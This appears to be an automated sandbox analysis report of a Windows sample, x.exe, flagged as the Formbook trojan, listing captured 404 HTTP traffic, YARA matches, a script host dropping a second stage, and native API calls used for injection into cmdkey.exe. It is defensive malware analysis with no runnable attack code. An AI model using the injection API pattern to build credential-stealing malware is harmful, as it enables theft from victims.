65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 27 Aug 2024 06:04:51 GMTContent-Type: text/htmlContent-Length: 3971Connection: closeETag: "6526681e-f83"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 27 Aug 2024 06:04:58 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a62378-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 27 Aug 2024 06:05:00 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a62378-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 27 Aug 2024 06:05:03 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a62378-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 27 Aug 2024 06:05:06 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a62378-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 27 Aug 2024 06:05:12 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 35 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 30 b4 0b 4a cd 49 2c 49 4d 51 08 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b b1 d1 07 4a d9 14 d8 05 e7 17 15 55 ea 28 94 a7 2a 24 27 e6 81 65 33 f3 52 14 4a 32 12 4b 14 0a 80 1a f4 6c f4 0b ec 00 92 2e 89 84 46 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 540JI,IMQHLOU/QH/KJU(*$'e3RJ2Kl.F0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 27 Aug 2024 06:05:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 35 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 30 b4 0b 4a cd 49 2c 49 4d 51 08 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b b1 d1 07 4a d9 14 d8 05 e7 17 15 55 ea 28 94 a7 2a 24 27 e6 81 65 33 f3 52 14 4a 32 12 4b 14 0a 80 1a f4 6c f4 0b ec 00 92 2e 89 84 46 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 540JI,IMQHLOU/QH/KJU(*$'e3RJ2Kl.F0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 27 Aug 2024 06:05:18 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 35 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 30 b4 0b 4a cd 49 2c 49 4d 51 08 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b b1 d1 07 4a d9 14 d8 05 e7 17 15 55 ea 28 94 a7 2a 24 27 e6 81 65 33 f3 52 14 4a 32 12 4b 14 0a 80 1a f4 6c f4 0b ec 00 92 2e 89 84 46 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 540JI,IMQHLOU/QH/KJU(*$'e3RJ2Kl.F0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 27 Aug 2024 06:05:20 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 34 36 0d 0a 3c 68 31 3e 52 65 6c 61 74 65 64 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 53 6f 72 72 79 2c 20 77 65 20 63 61 6e 6e 6f 74 20 66 69 6e 64 20 74 68 61 74 20 70 61 67 65 2e 3c 2f 70 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 46<h1>Related Page not found</h1><p>Sorry, we cannot find that page.</p>0

Source: x.exe

String found in binary or memory: http://nsis.sf.net/NSIS_Error

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443

Source: unknown

HTTPS traffic detected: 199.103.62.205:443 -> 192.168.11.20:49840 version: TLS 1.2

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 00000005.00000002.140485141531.00000000031F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.136238638056.00000000341C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.140483811557.00000000014B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.136239540037.0000000035220000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.140482656730.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.140484881545.00000000034F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.140485253633.0000000003240000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 00000005.00000002.140485141531.00000000031F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.136238638056.00000000341C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.140483811557.00000000014B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.136239540037.0000000035220000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.140482656730.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.140484881545.00000000034F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.140485253633.0000000003240000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345434E0 NtCreateMutant,LdrInitializeThunk,	3_2_345434E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542D10 NtQuerySystemInformation,LdrInitializeThunk,	3_2_34542D10
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542B90 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_34542B90
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34544570 NtSuspendThread,	3_2_34544570
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34544260 NtSetContextThread,	3_2_34544260
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542C50 NtUnmapViewOfSection,	3_2_34542C50
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542C10 NtOpenProcess,	3_2_34542C10
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34543C30 NtOpenProcessToken,	3_2_34543C30
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542C30 NtMapViewOfSection,	3_2_34542C30
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542C20 NtSetInformationFile,	3_2_34542C20
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542CD0 NtEnumerateKey,	3_2_34542CD0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542CF0 NtDelayExecution,	3_2_34542CF0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34543C90 NtOpenThread,	3_2_34543C90
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542D50 NtWriteVirtualMemory,	3_2_34542D50
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542DC0 NtAdjustPrivilegesToken,	3_2_34542DC0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542DA0 NtReadVirtualMemory,	3_2_34542DA0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542E50 NtCreateSection,	3_2_34542E50
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542E00 NtQueueApcThread,	3_2_34542E00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542ED0 NtResumeThread,	3_2_34542ED0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542EC0 NtQuerySection,	3_2_34542EC0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542E80 NtCreateProcessEx,	3_2_34542E80
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542EB0 NtProtectVirtualMemory,	3_2_34542EB0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542F00 NtCreateFile,	3_2_34542F00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542F30 NtOpenDirectoryObject,	3_2_34542F30
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542FB0 NtSetValueKey,	3_2_34542FB0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345438D0 NtGetContextThread,	3_2_345438D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345429D0 NtWaitForSingleObject,	3_2_345429D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345429F0 NtReadFile,	3_2_345429F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542A10 NtWriteFile,	3_2_34542A10
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542AC0 NtEnumerateValueKey,	3_2_34542AC0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542A80 NtClose,	3_2_34542A80
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542AA0 NtQueryInformationFile,	3_2_34542AA0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542B10 NtAllocateVirtualMemory,	3_2_34542B10
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542B00 NtQueryValueKey,	3_2_34542B00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542B20 NtQueryInformationProcess,	3_2_34542B20
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542BC0 NtQueryInformationToken,	3_2_34542BC0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542BE0 NtQueryVirtualMemory,	3_2_34542BE0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542B80 NtCreateKey,	3_2_34542B80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03454260 NtSetContextThread,LdrInitializeThunk,	5_2_03454260
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03454570 NtSuspendThread,LdrInitializeThunk,	5_2_03454570
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034534E0 NtCreateMutant,LdrInitializeThunk,	5_2_034534E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452B00 NtQueryValueKey,LdrInitializeThunk,	5_2_03452B00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452B10 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_03452B10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452BC0 NtQueryInformationToken,LdrInitializeThunk,	5_2_03452BC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452B80 NtCreateKey,LdrInitializeThunk,	5_2_03452B80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452B90 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_03452B90
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452A10 NtWriteFile,LdrInitializeThunk,	5_2_03452A10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452AC0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_03452AC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452A80 NtClose,LdrInitializeThunk,	5_2_03452A80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034529F0 NtReadFile,LdrInitializeThunk,	5_2_034529F0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034538D0 NtGetContextThread,LdrInitializeThunk,	5_2_034538D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452F00 NtCreateFile,LdrInitializeThunk,	5_2_03452F00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452E50 NtCreateSection,LdrInitializeThunk,	5_2_03452E50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452E00 NtQueueApcThread,LdrInitializeThunk,	5_2_03452E00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452ED0 NtResumeThread,LdrInitializeThunk,	5_2_03452ED0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452D10 NtQuerySystemInformation,LdrInitializeThunk,	5_2_03452D10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452DA0 NtReadVirtualMemory,LdrInitializeThunk,	5_2_03452DA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452C50 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_03452C50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452C30 NtMapViewOfSection,LdrInitializeThunk,	5_2_03452C30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452CF0 NtDelayExecution,LdrInitializeThunk,	5_2_03452CF0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452B20 NtQueryInformationProcess,	5_2_03452B20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452BE0 NtQueryVirtualMemory,	5_2_03452BE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452AA0 NtQueryInformationFile,	5_2_03452AA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034529D0 NtWaitForSingleObject,	5_2_034529D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452F30 NtOpenDirectoryObject,	5_2_03452F30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452FB0 NtSetValueKey,	5_2_03452FB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452EC0 NtQuerySection,	5_2_03452EC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452E80 NtCreateProcessEx,	5_2_03452E80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452EB0 NtProtectVirtualMemory,	5_2_03452EB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452D50 NtWriteVirtualMemory,	5_2_03452D50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452DC0 NtAdjustPrivilegesToken,	5_2_03452DC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452C10 NtOpenProcess,	5_2_03452C10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452C20 NtSetInformationFile,	5_2_03452C20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03453C30 NtOpenProcessToken,	5_2_03453C30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03452CD0 NtEnumerateKey,	5_2_03452CD0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03453C90 NtOpenThread,	5_2_03453C90
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A59200 NtCreateFile,	5_2_00A59200
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A59370 NtReadFile,	5_2_00A59370
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A59460 NtDeleteFile,	5_2_00A59460
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A59500 NtClose,	5_2_00A59500
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A59670 NtAllocateVirtualMemory,	5_2_00A59670
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0333F36F NtReadVirtualMemory,	5_2_0333F36F

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 2_2_004034CE EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,

2_2_004034CE

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 2_2_73AD2288	2_2_73AD2288
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510445	3_2_34510445
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345DA526	3_2_345DA526
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CF5C9	3_2_345CF5C9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C75C6	3_2_345C75C6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BD646	3_2_345BD646
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34534670	3_2_34534670
